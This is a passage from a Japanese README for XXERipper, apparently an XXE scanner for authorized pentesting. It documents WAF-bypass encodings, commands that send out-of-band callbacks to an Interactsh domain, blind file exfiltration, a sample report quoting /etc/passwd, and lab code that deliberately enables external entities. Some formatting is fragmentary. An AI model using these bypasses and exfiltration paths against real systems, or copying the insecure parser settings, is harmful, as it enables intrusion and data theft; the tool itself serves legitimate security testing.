| `public_charref` | `SYSTEM` キーワード → `PUBLIC` 宣言内の16進文字参照 | 文字参照は `PubidLiteral` 内では展開されますが、`SystemLiteral` 内では展開されません。パーサーは `SYSTEM` を公開IDとして再構成します。リテラル文字列にマッチするWAFは見逃します。 |
| `b64_uri` | `SYSTEM "file://…"` → `data:text/plain;base64,…` | バイパスプローブであり、ファイル読み取りプリミティブではありません — エンティティはファイル内容ではなくURI *文字列* に解決されます。WAFを打ち負かせることを確認するために使用し、抽出にはアプリケーションレベルのシンクと組み合わせてください。 |
**文法レベルエンコーダ**(有効なXML、怠惰なWAFを打ち負かす):
| 名前 | 変換 | 備考 |
|---|---|---|
| `whitespace_pad` | XML宣言に512個のスペースを挿入 | XMLは宣言の擬似属性間に任意の空白を許可します。ボディの最初のNバイトのみを検査するWAFは、パディングされた宣言を見てDOCTYPEに到達しません。 |
| `doctype_closure` | `]>` の後にデコイコメント | 一部のWAFはDOCTYPEを解析してその終端を特定し、残りを検査します。`]>` の後にXMLコメントを挿入すると、そのパーサーを誤導してエンティティ宣言をスキップする早期終了に導く可能性があります。XMLパーサーはコメントを無視します。 |
| `pe_stager` | エンティティ宣言をパラメータエンティティチェーンとして書き換え | WAFは `<!ENTITY % stage "…"` と `%stage;` を見ますが、単一の宣言内の `SYSTEM "file://…"` URIを決して見ません。パーサーは `%stage` を展開し、それが実際のエンティティを宣言します。内部サブセットのパラメータエンティティを許可するあらゆるパーサーで機能します — Xercesと.NETはすぐに。libxml2はビルド時に内部PE制限が解除されている場合のみ。 |
特定のペイロードで出力が入力とバイト単位で同一であるエンコーダはスキップされます(リクエストは送信されません)。所見は、生き残った (ペイロード × エンコーダ) の組み合わせごとに `XXE-WAF-BYPASS-<ENCODER>`(OOBファミリーの場合は `XXE-WAF-BYPASS-<ENCODER>-<PAYLOAD>`)として、またはOOBファミリーの場合は、相関が取れたコールバックが到着した場合にのみ、報告されます。```bash
# All encoders
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
# A targeted subset — the five highest-yield encoders
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ucs4_2143,public_charref,whitespace_pad,b64_uri \
--oob-auto
# Also encode custom payloads (skips those using {CALLBACK} / {DOMAIN})
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ebcdic --bypass-waf-include-custom
フェーズの順序。 WAFバイパスフェーズはコアフェーズの後に実行され、前ではありません。プレーンな SYSTEM "file://" ペイロードに応答するターゲットに対して、まず1,500個のエンコード済みバリアントを送る必要はありません — 直接プローブは約20リクエストでそれを見つけ、エンコード済みスイープはそれらがブロックされたときのフォールバックです。このフェーズは同じカタログを使用し、同じ検出結果を生成し、--bypass-waf が設定されているときに実行されます。ただ、直接ヒットをスイープの背後に隠さないだけです。
リクエスト量。 約100個のペイロード × 15個のエンコーダのカタログは、最悪の場合、ターゲットあたり約1,500リクエストになります。実時間の予算が唯一のスロットルです。このフェーズは送信ごとにデッドラインをチェックし、クリーンに中止します。大規模なターゲットでは、--bypass-waf all よりも名前付きエンコーダのサブセットを優先してください。
xxeripper https://target.com/api/xml
--payload '%p;]>'
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--- line)xxeripper https://target.com/api/xml --payload-file my_payloads.xml
xxeripper https://target.com/api/xml --payload-dir ./custom_xxe/
各ファイルはすべてのファイルターゲットに対してテストされます。検出結果は `XXE-CUSTOM-<filename>` として帰属されます。カスタムペイロードは組み込みフェーズと同じ OOB ヘルパーを経由してルーティングされるため、そのサブドメインとテクニックラベルは `[OOB]` チェックリスト(手動モード)に表示されるか、相関コールバックをトリガーします(自動モード)。
**Cookies と Burp 統合:** cookie の優先順位はインライン > cookie ファイル > Burp リクエストです。Netscape-jar 形式と `key=value` 形式の両方がサポートされています。Burp リクエストはメソッドとエンドツーエンドヘッダーを保持します。ホップバイホップヘッダーおよびスキャナーが管理する `Cookie`/`Content-Type` は転送されません。スキームは `Host` ヘッダー、HTTP バージョン行、およびリクエストが持つ `X-Forwarded-Proto` / `Forwarded` / `:scheme` ヘッダーから導出されます。443/8443/9443/10443/6443/7443/4443 → HTTPS、80/8000/8008/8080/8088/8888 → HTTP、不明なポートおよび HTTP/2 リクエスト → デフォルトで HTTPS。IPv6 ホストは正しく解析されます。
**Pre-auth リプレイ:** `--pre-auth-request FILE` は Burp 形式のリクエストを受け取り、ベースラインキャプチャの前にターゲットに対して一度リプレイし、`Set-Cookie` ヘッダーを jar にマージします。このフラグを繰り返すと複数のリクエストが順番にリプレイされるため、2 段階のフロー(CSRF トークン取得、続いて認証情報の POST)が機能します。各リプレイの cookie はシーケンス内の次のリクエストで利用可能です。
**カスタムによる WAF バイパス:** `--bypass-waf-include-custom` はエンコーダスイープをユーザーペイロードに拡張します。`{CALLBACK}` または `{DOMAIN}` を参照するカスタムはスキップされます(エンコードされた OOB ペイロードはプレースホルダーを通じて相関させることができません)。
---
## 出力フォーマット
### JSON(スキーマ 1.1)```json
{
"schema_version": "1.1",
"tool": "XXE-Ripper",
"summary": { "targets": 1, "vulnerable_targets": 1, "custom_payloads_loaded": 0 },
"results": [{
"url": "https://target.com/api/xml",
"parser_fingerprint": "libxml2",
"findings": [{
"id": "XXE-INBAND-FILE-READ-linux-passwd",
"severity": "CRITICAL",
"title": "In-band XXE file read: /etc/passwd",
"confirmed": true,
"exploitability": "confirmed",
"cwe": ["CWE-611", "CWE-200"],
"cwe_descriptions": ["...", "..."],
"confidence": 85,
"evidence": {
"file_type": "/etc/passwd",
"indicators_matched": 4,
"score": 85,
"loot_id": "file:9a1c...",
"extracted_content_preview": "root:x:0:0:root:/root:/bin/bash\n..."
},
"reasons": ["File fingerprint '/etc/passwd' matched (4 indicators)", "..."]
}],
"loot": [{
"id": "file:9a1c...",
"kind": "file",
"source_path": "/etc/passwd",
"technique": "XXE-INBAND-FILE-READ-linux-passwd",
"content": "root:x:0:0:...",
"size": 2841,
"sha256": "...",
"credentials": []
}],
"loot_counts": { "total": 1, "files": 1, "secrets": 0 },
"oob_payloads_sent": 7,
"oob_subdomains": ["xxe-dns-...oast.pro"],
"oob_observations": [{"technique": "xxe-dns", "subdomain": "...", "note": "..."}]
}]
}
内部の skipped_phases フィールドはシリアライズされた JSON から除去される — これはターミナルカバレッジレポート用の帳簿情報であり、検出事項ではない。
すべての検出 ID は、主要な CWE 定義を指す helpUri を持つ SARIF ルールになる。すべての検出は、artifactLocation.uri がターゲット URL である結果になる。追加フィールド(confidence、cwe、reasons、evidence)は result.properties に含まれる。重大度マッピング: CRITICAL/HIGH → error、MEDIUM → warning、LOW/INFO → note。
--report-html PATH は単一の自己完結型 HTML ファイルを書き出す。CDN リンク、外部画像、Web フォントは一切なし。あらゆるブラウザで開くことができ、オフラインでも同一にレンダリングされ、きれいに印刷できる。
セクション:
Web コンソールは同じ HTML レポートを /api/jobs/<jid>/report.html でインライン配信し(View HTML ボタン経由)、/api/jobs/<jid>/report.html.download からダウンロードする(HTML ボタン経由)。
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[CRITICAL] [CWE-611,CWE-200] score=85 In-band XXE file read: /etc/passwd CWE: CWE-611 — Improper Restriction of XML External Entity Reference CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor ↳ File fingerprint '/etc/passwd' matched (4 indicators) ↳ Full entity chain resolved ↳ 0 credential(s) extracted from /etc/passwd
---
## 信頼性とカバレッジ
| 機能 | 動作 |
|---|---|
| HTTP/2 ネゴシエーション | `build_session` は `http2=True` で `httpx.Client` を構築します。ALPN ハンドシェイクはサーバーが対応している場合は HTTP/2 をネゴシエートし、そうでなければサイレントに HTTP/1.1 にフォールバックします。ターゲットごとの設定はありません |
| フェーズごとの分離 | すべてのフェーズは `_run_phase` 内で実行され、例外をキャッチして `--debug` でトレースバックをログに記録し、`phase_error` イベントを発行して次のフェーズに進みます |
| レート制限 | `--rate N` はターゲットごとのリクエスト間に最小 `1/N` 秒の間隔を強制し、すべての送信パスが参照する共有 `RateLimiter` インスタンスによって適用されます。`--threads` とは独立しています |
| リトライとバックオフ | 一時的な失敗(`ConnectError`、`RemoteProtocolError`、`ReadError`、`WriteError`、`TimeoutException`)は 0.5 秒、0.75 秒、1.125 秒のバックオフで 3 回リトライします |
| Retry-After の尊重 | 429 および 503 で尊重され、最大 10 秒に制限されます |
| OOB 送信時の null レスポンスガード | 送信に失敗した場合はポーリング待機をスキップし、スキャンを停止させません |
| ディスク上のフィンガープリントキャッシュ | `~/.cache/xxeripper/fingerprints.json`。同じ URL の再スキャンでは 9 プローブのシーケンスをスキップします。ファイルを削除するか `--no-fingerprint-cache` を渡すと無効化されます |
| 実時間予算 | `--budget SECONDS` — すべてのフェーズは各送信前に `ctx.expired()` をチェックし、クリーンに中断します |
| 協調的キャンセル | `ScanContext.cancel()` 呼び出しはすべてのフェーズにシグナルを送ります。Web コンソールでは **Stop** ボタンでこれを公開しています |
| TLS トグル | ペンテスト用途では検証はデフォルトでオフです。`--verify-tls` で再度有効化できます |
| CI 終了コード | 0 = クリーン、1 = 設定エラー、2 = `--fail-on` 以上の検出、130 = Ctrl-C |
| スレッドセーフな検出結果 | `add_finding` はロックで保護され、重複する ID をその場でマージします — 重大度を引き上げ、`confirmed` を OR し、`max(confidence)` を取り、理由と証拠を結合する — 重複エントリを発行するのではなく。すべてのマージと新しい検出結果はイベントを発行するため、Web コンソールがライブで更新されます |
| スレッドセーフな OOB 統計 | `OOBClient.stats()` はロックされたスナップショットを返すため、CLI サマリーは実行中のフェーズ中でも一貫したビューを読み取ります |
| 重複排除されたルート | `LootStore.add_file` と `LootStore.add_secret` はコンテンツの SHA-256 をキーにします。同じファイルを復元した 2 つの検出結果は 1 つのルートエントリを生成します |
| カバレッジレポート | 人間が読める理由付きのターゲットごとのスキップリスト。スキップのあるターゲットのスキャン終了時サマリー |
| CI でのフィンガープリントキャッシュ | `HOME` を永続化されたキャッシュディレクトリに向けると、実行ごとに 9 リクエストを節約できます。キャッシュサイズは URL あたり約 1 KB です |
リトライアダプターは意図的に HTTP 500 をリトライしません — エラーベースの XXE ターゲットは意図的に 500 を返し、リトライするとシグナルが隠れてしまいます。
---
## CI/CD 統合
### GitHub Actions```yaml
- name: XXE scan
run: xxeripper "$TARGET_URL" --oob-auto \
--full-file-scan -o results --format both \
--report-html results.html --fail-on high
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with: { sarif_file: results.sarif, category: xxeripper }
- name: Upload HTML report
if: always()
uses: actions/upload-artifact@v4
with: { name: xxe-report, path: results.html }
xxe-scan:
script:
- xxeripper "$TARGET_URL" --oob-auto --full-file-scan
-o report --format both --fail-on medium
- cp report.json gl-sast-report.json
artifacts:
reports: { sast: gl-sast-report.json }
paths: [ report.html ]
when: always
### CI でのフィンガープリントのキャッシュ```yaml
- uses: actions/cache@v4
with:
path: ~/.cache/xxeripper
key: xxeripper-fingerprints-${{ github.ref }}
キャッシュサイズは URL あたり約 1 KB で、ターゲットのパーサーが変更されない限り実行間で安定しています。
CI での自動 OOB。 --oob-auto は PATH に interactsh-client を必要とします。GitHub ホストランナーでは、セットアップステップでインストールします:```yaml
CI 環境が任意のサブドメインへの外向き DNS をブロックする場合は、パイプラインから到達可能な自己ホスト型 Interactsh サーバーを使った手動モードを使用してください。
**CI におけるブラインド流出。** 流出パイプラインが loot エントリを生成するには、CI ランナーがターゲットから到達可能でなければなりません。通常、それはターゲットが到達できるネットワーク上の自己ホスト型ランナー、または `--oob-dtd-dir` とターゲットが取得できる外部提供ディレクトリの組み合わせを意味します。Interactsh だけでは機能しません — コールバックをログに記録しますが、コンテンツを提供しないからです。
---
## 同梱のラボに対するテスト
XXERipper には、本番アプリケーションが出荷するのと同じ構成で**実際の脆弱なパーサー**を実行する 2 つのローカルテストラボが同梱されています。これらはモックではありません — それぞれが特定の手法を公開しているため、スキャナーがそれを正しく検出することを検証でき、それぞれに偽陽性の餌エンドポイントが含まれているため、過剰報告を*しない*ことも検証できます。
両方のラボは `127.0.0.1` にバインドし、設計上、リクエストに応じてローカルファイルを読み取ります。**所有していないネットワークにこれらを公開しないでください。**
### ラボ一覧
| ラボ | ファイル | スタック | ポート | 証明する内容 |
|---|---|---|---|---|
| Python | `xxe_lab.py` | Flask + lxml → libxml2、すべての外向きエンティティ取得に httpx(ALPN 経由で HTTP/1.1 または HTTP/2) | `127.0.0.1:5000` | 10 の手法ファミリーにわたる 54 のエンドポイント、およびスコープされたすべての手法に対する安全なカウンターパート、自動スコアリング用の verdicts API。デフォルトで HTTP を提供。TLS は `--https` / `--autocert` 経由 |
| Java | `xxe_lab.java` | `com.sun.net.httpserver` + Xerces | `127.0.0.1:5001` | エラーベース XXE。最新の libxml2 は C レベルでこれをブロックする |
### Python ラボ — `xxe_lab.py`
ラボの依存関係をインストールします(スキャナー自身の要件から分離):```bash
# If you install by hand rather than `make lab`:
pip install 'flask>=3.0,<4.0' 'lxml>=5.0' 'httpx[http2]>=0.27,<0.29' 'PyYAML>=6.0'
ラボが httpx[http2] を取得するのはスキャナと同じ理由です — アウトバウンドのエンティティフェッチは、OOBコレクターやメタデータエンドポイントが対応している場合、ALPN経由でHTTP/2をネゴシエートし、そうでなければサイレントにHTTP/1.1へフォールバックします。インバウンドのFlaskは常にHTTP/1.1です。```bash
make lab
python3 xxe_lab.py
ラボは3つの判定クラスにわたる**54個のエンドポイント**を公開しています: 36個の`vuln`、17個の`safe`、1個の`fn`ベイトです。
### TLS
ラボはデフォルトでHTTPを使用します。3つのフラグでTLSを有効にできます:
| フラグ | 動作 |
|---|---|
| `--https` | TLS経由で提供します。`$TMPDIR/xxe-lab-certs/`以下にキャッシュされた自己署名証明書が存在する場合はそれを再利用し、そうでなければ`openssl`で生成します。再起動をまたいでキャッシュされた証明書を再利用することで、スキャナ側のTLSフィンガープリントを安定させます。 |
| `--autocert` | **新しく生成された**自己署名証明書でTLS経由で提供します。常に`openssl`を実行し、キャッシュされた証明書を上書きします。`--https`を暗黙的に含みます。`--cert` / `--key`とは同時に使用できません。 |
| `--cert PATH` / `--key PATH` | 指定されたPEMペアでTLS経由で提供します。両方を同時に指定する必要があります。 |
`--host`と`--port`はバインドアドレスを上書きします(デフォルトは`127.0.0.1:5000`)。`FLASK_HOST`と`FLASK_PORT`環境変数はデフォルト値として尊重されます。```bash
python3 xxe_lab.py --autocert --port 8443
# [*] XXE Test Lab v1 on https://127.0.0.1:8443
# [*] TLS cert: /tmp/xxe-lab-certs/cert.pem [generated (fresh)]
# [*] TLS key: /tmp/xxe-lab-certs/key.pem
# [*] Self-signed — scanners must skip cert verification.
生成される証明書は RSA-2048、365日、CN=127.0.0.1、subjectAltName=IP:127.0.0.1,DNS:localhost で、パスフレーズはありません。PATH 上に openssl が必要です(-addext には OpenSSL 1.1.1+)。これらの制約のない証明書が必要な場合は、代わりに --cert / --key を渡してください。
このラボには2つのレスポンスモードがあり、リクエストごとに切り替え可能です:
realistic(デフォルト) — 実際のアプリケーションを模倣します。誤った Content-Type は 415 を返し、誤った形状はパーサーにフォールスルーするか(ソフトゲート)、汎用の 400 を返します(ハードゲート)。理由は漏洩しません。スキャナは、レスポンスの形状のみを使って「ターゲットがペイロードを拒否した」のか「ターゲットが受け入れたが解決しなかった」のかを区別する必要があります。
scoped — 決定論的なレガシーモード。スコープ外のボディはすべて、何もパースしない安定した 200 out of scope: <reason> を返します。クロステクニックの偽陽性拒否が正確でなければならないリグレッションスイート向けのオプトインです。
ヘッダーまたはクエリパラメータでリクエストごとに上書きします:``` Header: X-Lab-Mode: scoped | X-Lab-Mode: realistic Query param: ?lab_mode=scoped | ?lab_mode=realistic
優先順位はヘッダー > クエリパラメータ > 環境変数のデフォルト(`XXE_LAB_MODE`)です。
### エンドポイントグループ
**スコープなし脆弱** — 任意の XML を受け入れ、常に脆弱なパーサーで解析します:
| エンドポイント | 検証対象 |
|---|---|
| `POST /xml/vulnerable` | インバンドファイル読み取り、Content-Type マトリクス、チェーン整合性 |
| `POST /xml/blind` | サイレントパーサー — エンティティを解決するが決して反映しない(OOB のみ) |
| `POST /xml/error` | エラーチャネル — パーサーのトレースバックを返す |
| `POST /xml/reflect` | 生のボディを反映しつつ解析も行う — リフレクション拒否の検証 |
| `POST /xml/timing` | ペイロードに外部 SYSTEM エンティティが含まれる場合にスリープする — タイミングベースのブラインド |
**インバンドおよび配送ベクター**、**エンベロープ**、**エンコーディング**、**インクルージョン**、**拡張フェッチャー**、**ファイルフォーマット**、**パラメータエンティティとメタデータ**、**ブラインド OOB** — エンドポイントの完全なリストは <http://127.0.0.1:5000/api/endpoints> またはラボ自身の UI <http://127.0.0.1:5000/> で確認できます。
### 安全なカウンターパート
スコープ付きの脆弱なエンドポイントにはそれぞれ、**同じスコープチェック**を実行しつつ、エンティティを無効化しネットワークアクセスをブロックしたパーサーで解析する安全なカウンターパートが存在します。命名は機械的です:`/xml/safe-form` は `/xml/form` に対応し、`/xml/safe-xslt` は `/xml/xslt` に対応する、といった具合です。
この設計は、スキャナのクロステクニック誤検知拒否をエンドツーエンドでテストできるようにするために存在します。フォームエンコードフェーズを考えてみましょう:スキャナはスキャン対象のすべてのターゲットにフォームエンコードされた XML を送信します。`/xml/form` に対しては、ペイロードが解決されれば検出結果が生成されます。`/xml/safe-form` に対しては、同じペイロードでも何も生成されないはずです。安全なカウンターパートが存在する以前は、`/xml/safe` のようなターゲットにはフォームフィールドのスコープチェックがまったくなかったため、フォームエンコードされたペイロードが「安全な」エンドポイントに受け入れられて解析されていました — これはスキャナの責任ではないものの、誤検知と区別がつかないものでした。
安全なカウンターパートはその穴を塞ぎます。それらは 13 個あります:```
/xml/safe-form /xml/safe-query /xml/safe-svg
/xml/safe-saml /xml/safe-soap /xml/safe-multipart
/xml/safe-docx /xml/safe-xinclude /xml/safe-xinclude-xml
/xml/safe-xslt /xml/safe-xsd /xml/safe-xsd-import
/xml/safe-pi
さらに、スコープチェックを一切行わない4つのベースラインベイト:``` /xml/safe /xml/noise /xml/stripped /xml/safe-metadata
そして1つの偽陰性のベイト:```
/xml/silent
正しいスキャナは17件すべてで [OK] を報告する。これらに対する検出結果はスキャナのバグであり、脆弱性ではない。
このラボは GET /api/verdicts を公開しており、"<method> <path>" から "vuln"、"safe"、"fn" のいずれかへの JSON マップを提供する:```json
{
"POST /xml/vulnerable": "vuln",
"POST /xml/safe": "safe",
"POST /xml/silent": "fn",
...
}
これは自動スコアリングのためのフックです。テストハーネスは、エンドポイントごとにスキャナーの検出結果をキャプチャし、判定マップと差分を取り、HTMLを解析したりエンドポイントのメタデータを読んだりすることなく、適合率と再現率を計算できます。
### Java ラボ — `xxe_lab.java````bash
java xxe_lab.java
# [*] Java XXE lab on http://127.0.0.1:5001
単一エンドポイント: POST /xml/error。成功時は parsed ok を返し、失敗時は XML parse error: <message> を返す — これは str(e) をログ出力する脆弱な Java アプリケーションと一致する。
Java ラボは、エラーベースの XXE フェーズに引き続き必要である。libxml2 2.13 以降ではデフォルトで外部 DTD アクセスがブロックされるため、XXE-ERROR-BASED-MALFORMED は Python ラボに対して発火できない。Xerces は内部サブセットのパラメータエンティティを許可し、ローカル DTD がまったくなくても検出結果を発火させる。このラボでは、必要な機能を明示的に有効化している:```java
dbf.setFeature("http://xml.org/sax/features/external-general-entities", true);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", true);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "all");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "all");
> **Note:** `ACCESS_EXTERNAL_DTD = ""`(空文字列)は*すべて拒否*を意味し、すべて許可ではありません。許可的なパーサーには `"all"` を使用してください。
### ローカルDTD攻撃 — ターゲットにDTDをインストールする
`error_based_local_dtd` は、ターゲットのファイルシステムにすでに存在するDTDをハイジャックすることで機能します。スキャナのペイロードリストは約60の一般的なパスを参照していますが、この手法はそれらのいずれも存在しないファイルシステムに対しては発動できず、その場合スキャナは正しく所見なしと報告します。
Pythonラボを実行している同じホストにDTDパッケージをインストールして、この手法がハイジャックできる対象を用意してください:```bash
# Fedora / RHEL / CentOS
sudo dnf install docbook-dtds xml-common w3c-dtd-xhtml
# Debian / Ubuntu
sudo apt install docbook-xml docbook-xsl xml-core w3c-dtd-xhtml
# Arch / Manjaro
sudo pacman -S docbook-xml docbook-xsl
Windows は WMI DTD (C:\Windows\System32\wbem\xml\) と Office DTD (C:\Program Files\Common Files\microsoft shared\OFFICE*\mso.dll) をデフォルトで同梱しています。
macOS は /System/Library/DTDs/PropertyList.dtd と sdef.dtd をデフォルトで同梱しています。
libxml2 2.13+ に関する注意。 現代の libxml2 ではルールがさらに厳格化されました。ハイジャック可能な DTD は、パラメータエンティティを名前で宣言し、トップレベルで参照し、禁止されたネストされた PE を持つモジュールへ連鎖してはなりません。DocBook の docbookx.dtd ファイルは、禁止されたネストされた PE を含む dbcentx.mod をインクルードしているため、現代の libxml2 では失敗します。fonts.dtd はクリーンにパースされますが、スキャナがハイジャックしようとするエンティティを宣言していません。
これが、エラーベースの XXE を実演するために Java ラボが推奨環境である 理由です。
以下のすべての例では http://127.0.0.1:5000 を使用します。TLS 経由で同じスキャンをラボに対して実行するには、--autocert を付けて起動し(またはキャッシュされた証明書を再利用するには --https)、スキャナを https://127.0.0.1:5000 に向けます。スキャナはデフォルトで TLS 検証を無効にするため、スキャナ側のフラグは不要です — --verify-tls をオフのままにしなくても、自己署名証明書が機能します。```bash
python3 xxe_lab.py --autocert &
xxeripper https://127.0.0.1:5000/xml/vulnerable --oob-auto --no-fingerprint-cache
**オプションA — 手動OOB。** 2つのターミナル:
**ターミナルA** — OOBクライアントを起動し、セッションドメインを確認します:```bash
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
ターミナル B — ラボとスキャンを実行します:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--timing --unsafe --full-file-scan --no-fingerprint-cache
for p in safe safe-form safe-query safe-svg safe-saml safe-soap
safe-multipart safe-docx safe-xinclude safe-xinclude-xml
safe-xslt safe-xsd safe-xsd-import safe-pi
noise stripped safe-metadata; do
xxeripper "http://127.0.0.1:5000/xml/${p}" --no-fingerprint-cache
done
java xxe_lab.java xxeripper http://127.0.0.1:5001/xml/error --no-fingerprint-cache
**オプションB — 自動OOB。** ターミナル1つ:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable \
--oob-auto --timing --unsafe --full-file-scan --no-fingerprint-cache
オプション C — 決定論的リグレッション。 ラボを起動する前に XXE_LAB_MODE=scoped を設定します。スコープ外のリクエストはすべて同一のボディを返すため、スキャナーの no-change 拒否が決定論的に発動し、エンドポイントごとの結果が実行間で再現可能になります。XXE_LAB_NOISE_SEED=1 を設定すると /xml/noise も再現可能になります。
オプション D — 外部送信。 ブラインド外部送信パスをエンドツーエンドで検証するには:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/oob-external-dtd
--oob-auto
--oob-listen 127.0.0.1:8888
--oob-public-url http://127.0.0.1:8888
--no-fingerprint-cache
WebUI の場合: コンソールを `--serve --host 0.0.0.0` で起動し、ドロワーで **Serve DTDs from this WebUI** にチェックを入れ、WebUI の公開 URL を指定すると、2 つ目のプロセスなしで同じ exfil パスが機能します。
### カバレッジギャップの解釈
スキャナーのターゲットごとのスキップリストには、テストされなかった内容が正確に表示されます。スキップされたフェーズを有効にするには、指定されたフラグを渡します:```
[!] 4 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
- saml_presig (no SAML-shaped URL segment)
- waf_bypass (no --bypass-waf)
前提条件: Python 3.9+、Python パッケージング用の build と hatchling、ディストリビューションパッケージ用の makepkg、dpkg-buildpackage/debhelper/dh-python、rpmbuild。
XXERipper はフリーソフトウェアであり、GNU General Public License v3 以降の下でライセンスされています。いかなる保証もなく配布されます。詳細は https://www.gnu.org/licenses/ を参照してください。
Copyright (C) 2026 Kamal Khalilov.
XXERipper は許可されたセキュリティテスト専用です。所有していないシステム、またはテストに対する明示的な書面による許可を得ていないシステムに対して使用しないでください。不正なスキャンは、CFAA(米国)、Computer Misuse Act(英国)、お住まいの法域における同様の法律、およびクラウドプロバイダーの利用規約に違反する可能性があります。作者は誤用に対して責任を負わず、本ツールは教育および正当なセキュリティテスト目的のみで提供されます。
Web コンソールには認証がなく、信頼できないネットワークに公開すべきではありません。127.0.0.1(デフォルト)にバインドしたままにするか、認証付きリバースプロキシで前面に配置してください。
作者: Kamal Khalilov — @kamalx06 · [email protected]
interactsh-client によるアウトオブバンド確認。 2 つのモード: 手動(スキャナーがすべてのサブドメインを出力し、あなたがクライアントを監視)および 自動(--oob-auto が interactsh-client を起動し、コールバックをプロセス内で相関付け)。どちらもペイロードごとに一意の 16 進 16 文字トークンを埋め込むため、コールバックが誤って帰属されることは決してありません。--oob-listen)、独自の Web サーバーで配信されるディレクトリ(--oob-dtd-dir)、または WebUI 自身の Flask ルート(ドロワーで Serve DTDs from this WebUI にチェック)。jar://、data://、phar://、glob://、compress.zlib://。XXE-OFFICE-XSLT-{DOCX,XLSX}) — Word または Excel のパーツ内の xml-stylesheet PI が、サーバー側のドキュメントプロセッサに攻撃者制御の XSLT を取得させます。jackson-dataformat-xml を持つ Spring MVC を捕捉します。これは任意の @RequestBody エンドポイントで application/xml を黙って受け入れます。--bypass-waf) — ペイロードカタログ全体を、3 つのファミリーにわたる 15 のエンコーダーを通じて再送信します。コアフェーズの 後に 実行されるため、直接的なヒットは約 1,500 のエンコードされたものの背後に埋もれることなく、約 20 リクエストで発見されます。--serve) — ライブイベントストリーミング、コマンドパレット、キーボード駆動のナビゲーション、ジョブごとの JSON / SARIF / HTML ダウンロード、およびレポートをダウンロードする代わりにインラインで開く別個の View HTML ボタンを備えたブラウザベースのワークベンチ。ゼロ依存のフロントエンド: 1 つの自己完結型 HTML ファイル、CDN なし。--pre-auth-request FILE は Burp 形式のリクエストをリプレイし、スキャン開始前にそれらの Set-Cookie をマージするため、多段階の認証フローが cookies ファイルなしで機能します。| キー | アクション |
|---|
j / k | 次の / 前のターゲット |
n / p | 次の / 前の検出 |
/ | フィルタにフォーカス |
c | 新規スキャンドロワーを開く |
r | 選択したスキャンを再実行 |
? | ショートカットダイアログ |
Esc | 段階的解除 (フィルタ → 検出 → ターゲット) |
| 判定 | 意味 |
|---|
[VULNERABLE] | 重大度 MEDIUM 以上の検出事項が少なくとも 1 件 |
[MANUAL-OOB] | 検出事項なし、ただし OOB ペイロードが送信された(手動モードのみ) |
[INFO-ONLY] | 検出事項なし、OOB ペイロードなし、ただし少なくとも 1 つのフェーズがスキップされた |
[OK] | 報告すべきものもスキップされたものもない |
| [1/3] [VULNERABLE] https://target.com/api/xml | |
| Parser: libxml2 | |
| [!] 3 phase(s) skipped: |
| スキップされるフェーズ | 有効化するオプション |
|---|
multipart_docx, svg | --svg |
dos | --unsafe |
timing | --timing |
saml_presig | --saml |
waf_bypass | --bypass-waf |
| 任意の OOB フェーズ | --oob-domain または --oob-auto |
| ブラインド外部送信 | --oob-auto と --oob-listen / --oob-dtd-dir(または WebUI ホスト型サーバー) |
fingerprint | ( --no-fingerprint を渡さない) |
| —(ファイルリストの変更) | --full-file-scan |
| ターゲット | コマンド | 出力 |
|---|
| Python wheel と sdist | make build | dist/*.whl, dist/*.tar.gz |
| Debian | make deb | dist/xxeripper_*.deb |
| RPM | make rpm | dist/xxeripper-*.rpm |
| Arch | make arch | dist/xxeripper-*.pkg.tar.zst |
| すべて | make all | 上記すべて |